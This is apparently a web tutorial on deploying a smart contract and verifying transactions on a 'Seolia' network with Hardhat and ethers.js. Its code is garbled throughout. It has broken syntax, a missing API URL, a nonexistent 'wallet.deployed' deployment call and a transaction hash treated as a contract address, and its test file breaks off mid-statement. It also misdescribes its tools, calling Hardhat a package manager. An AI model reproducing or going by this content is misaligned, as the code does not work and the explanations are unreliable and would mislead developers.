Verify Coin Transactions on the Seolia Network Using Hardhat

As a developer, you are probably familiar with the Ethereum blockchain and its various APIs. Recently, you deployed a smart contract on the Seolia network, a decentralized platform for issuing and trading cryptocurrency assets. However, before making any transactions, it is essential to ensure that your account is valid and compliant with the network’s regulations.

In this article, we will guide you through the process of verifying your coin and interacting with the Seolia API key using the Hardhat toolkit.

Setting up the environment

To get started, you must have the following dependencies installed:

• hardhat: Node.js package manager for Ethereum development

• npx: Shorthand notation for running npm scripts with Node.js

• ethers.js: A library that provides a simple way to interact with the Ethereum blockchain

First, install the required packages:

npm install --save-dev hardhat ethers

Deploying the contract on Seolia

Before you can verify your coin, you need to deploy your contract on the Seolia network. You can do this using Hardhat’s deploy function:

// seolia.js (example contract)
const ethers = require('ethers');
contract('ExampleContract', {
async deploy() {
const provider = new ethers.providers.Web3Provider(window.ethereum);
const wallet = await provider.get signer();
// Deploy the contract and get its address
const tx = await wallet.deployed(
'
{ data: 'YOUR_CONTRACT_DATA' }
);
const deployAddress = tx.hash;
console.log(Contract deployed to: ${deployAddress});
},
});

ReplaceYOUR_CONTRACT_DATAwith the actual data for your contract.

To verify your coin, you need to use the Hardhatverifycommand. This will interact with the Seolia API key to get the transaction details and verify that they are valid:

// seolia.js (as before)
async deploy() {
const provider = new ethers.providers.Web3Provider(window.ethereum);
const wallet = await provider.get signer();
// Deploy the contract and get its address
const tx = await wallet.deployed(
'
{ data: 'YOUR_CONTRACT_DATA' }
);
const deployAddress = tx.hash;
console.log(Contract deployed: ${deployAddress});
// Verify transactions in Seolia
try {
await verifySeoliaAddress(deployAddress, provider);
} catch (error) {
console.error('Error verifying transaction:', error);
}
}
async function verifySeoliaAddress(address, provider) {
const seoliaApiUrl = '
const params = {
address,
network: 'seolia',
};
try {
const response = await fetch(seoliaApiUrl, { method: 'POST', body: JSON.stringify(params), headers: { 'Content-Type': 'application/json' } });
if (response.ok) {
console.log('Transaction successfully verified');
} else {
throw new Error(Error verifying transaction: ${response.statusText});
}
} catch (error) {
console.error('Error verifying transaction:', error);
}
}

“javascript

// seolia.test.js

import { verifySeoliaAddress } from ‘./seolia’;

describe(‘verifySeoliaAddress’, () => {

it(‘Should return true if transaction is verified’, async () => {

// Mock Seolia API response

const response = {

data: {

Address: ‘YOUR_DEPLAYED_ADDRESS’,

Network: ‘seolia’,

},

};

await verifySeoliaAddress(response.data.address, { environment: ‘development’ });

expect(true).
